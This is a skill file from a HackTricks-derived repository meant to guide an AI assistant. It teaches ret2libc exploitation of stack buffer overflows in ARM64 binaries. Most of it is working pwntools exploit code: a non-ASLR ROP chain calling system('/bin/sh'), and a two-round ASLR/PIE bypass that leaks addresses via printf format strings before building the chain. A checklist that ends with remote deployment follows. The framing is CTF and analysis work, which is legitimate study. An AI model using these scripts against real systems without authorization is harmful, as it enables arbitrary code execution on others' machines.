Hacktricks-skills ret2lib-arm64-exploitation
How to exploit ret2lib vulnerabilities on ARM64 binaries with stack buffer overflows. Use this skill whenever the user mentions ret2lib, ROP exploitation, ARM64 binary exploitation, printf format string leaks, stack buffer overflows on aarch64, or needs to bypass NX/ASLR/PIE protections. This skill covers both non-ASLR scenarios and ASLR/PIE bypass using printf leaks from the stack.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64/SKILL.MDRet2lib ARM64 Exploitation
A skill for exploiting return-to-libc vulnerabilities on ARM64 binaries with stack buffer overflows.
When to use this skill
Use this skill when:
- You're working with ARM64/aarch64 binaries with buffer overflow vulnerabilities
- The binary has NX (non-executable stack) enabled
- You need to chain ROP gadgets to call libc functions like
system() - ASLR or PIE is enabled and you need to leak addresses via format string vulnerabilities
- You're solving CTF challenges or analyzing vulnerable ARM64 binaries
Core Concepts
ARM64 Calling Convention
- x0-x7: First 8 function arguments
- x30: Link register (return address)
- sp: Stack pointer
- x29: Frame pointer
Ret2lib Attack Flow
- Overflow the buffer to control the return address (x30)
- Chain ROP gadgets to set up function arguments
- Jump to libc functions (system, printf, etc.)
- Bypass ASLR/PIE if enabled using format string leaks
Exploitation Workflow
Step 1: Analyze the Binary
# Check protections checksec --file ./binary # Disassemble to find interesting functions objdump -d ./binary | less # Find printf, system, and /bin/sh in libc readelf -s /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -E "printf|system" strings /usr/lib/aarch64-linux-gnu/libc.so.6 | grep "/bin/sh"
Step 2: Find Stack Offset
Use pattern creation to find where the return address is overwritten:
# Generate a unique pattern pattern create 200 # Run the binary with the pattern as input ./binary < /tmp/pattern.txt # In GDB, after crash, search for the value in x30 pattern search $x30
The output tells you the offset from buffer start to the saved return address.
Step 3: Find ROP Gadgets
Use ropper to find useful gadgets:
# Find gadgets that load x0 from stack ropper --file ./binary --search "ldr x0" # Find gadgets that set up arguments and return ropper --file ./binary --search "ret"
Common useful gadget pattern:
ldr x0, [sp, #offset]; ldp x29, x30, [sp], #size; ret
This gadget:
- Loads x0 (first argument) from stack at offset
- Restores x29 (frame pointer) and x30 (return address)
- Returns to the address in x30
Step 4: Build the Payload
Non-ASLR Scenario
from pwn import * p = process('./binary') libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") libc.address = 0x0000fffff7df0000 # Known base address # Find addresses binsh = next(libc.search(b"/bin/sh")) system = libc.sym["system"] # Build payload stack_offset = 108 # From pattern search ldr_x0_ret = p64(libc.address + 0x6bdf0) # Gadget address # Gadget expects: [x29, x30, fill, x0] after itself x29 = b"AAAAAAAA" # Dummy frame pointer x30 = p64(system) # Return to system fill = b"A" * (0x18 - 0x10) # Padding to reach x0 offset x0 = p64(binsh) # /bin/sh address payload = b"A" * stack_offset + ldr_x0_ret + x29 + x30 + fill + x0 p.sendline(payload) p.interactive()
ASLR/PIE Bypass with Printf Leak
When ASLR and PIE are enabled, you need to leak addresses first:
Round 1: Leak PIE base
- Use format string vulnerability to leak a binary address
- Calculate PIE base address
- Return to main to get another input opportunity
Round 2: Leak libc and exploit
- Leak a libc address via format string
- Calculate libc base
- Build ret2system payload
from pwn import * p = process('./binary') libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") def leak_printf(payload, is_main_addr=False): """Leak address using format string vulnerability""" p.sendlineafter(b">\n", payload) response = p.recvline().strip()[2:] # Remove "0x" prefix if is_main_addr: response = response[:-4] + b"0000" # Fix alignment return int(response, 16) def expl_bof(payload): p.recv() p.sendline(payload) # Round 1: Leak PIE base main_address = leak_printf(b"%21$p", True) print(f"Binary base: {hex(main_address)}") # Return to main to get another input stack_offset = 108 main_printf_offset = 0x860 # Offset to printf call in main ret2main = b"A" * stack_offset + p64(main_address + main_printf_offset) expl_bof(ret2main) # Round 2: Leak libc and exploit libc_leaked = leak_printf(b"%25$p") libc_base = libc_leaked - 0x26dc4 # Offset from libc base libc.address = libc_base print(f"Libc base: {hex(libc_base)}") binsh = next(libc.search(b"/bin/sh")) system = libc.sym["system"] # Build ret2system payload ldr_x0_ret = p64(libc.address + 0x49c40) # Gadget in libc x29 = b"AAAAAAAA" x30 = p64(system) fill = b"A" * (0x78 - 0x10) # Adjust for gadget offset x0 = p64(binsh) payload = b"A" * stack_offset + ldr_x0_ret + x29 + x30 + fill + x0 p.sendline(payload) p.interactive()
Key Patterns
Printf Leak Format
- Print Nth argument on stack as pointer%N$p- Find offsets by testing different values
- Binary addresses and libc addresses appear at different stack positions
Gadget Selection Criteria
- Must load x0 from a controllable stack location
- Must restore x29 and x30 properly
- Must end with
ret - Prefer gadgets in libc (more reliable across runs)
Stack Layout for Gadget
[sp] -> gadget address [sp+8] -> x29 (frame pointer, can be dummy) [sp+10] -> x30 (return address, e.g., system) [sp+18] -> padding (depends on gadget) [sp+78] -> x0 (first argument, e.g., /bin/sh)
Common Issues and Solutions
Issue: Wrong offset calculation
Solution: Use
pattern create and pattern search to find exact offset
Issue: Segmentation fault after payload
Solution: Check that x29 is set to a valid value (even if dummy)
Issue: Printf leak returns garbage
Solution: Try different format specifiers (%20$p, %21$p, etc.) until you find valid addresses
Issue: ASLR still randomizes addresses
Solution: Ensure you're leaking addresses before using them, and that libc.address is set correctly
Testing Checklist
Before finalizing an exploit:
- Verified stack offset with pattern search
- Confirmed gadget addresses with ropper
- Tested printf leak offsets
- Calculated libc base correctly
- Verified /bin/sh exists in libc
- Tested payload locally before remote deployment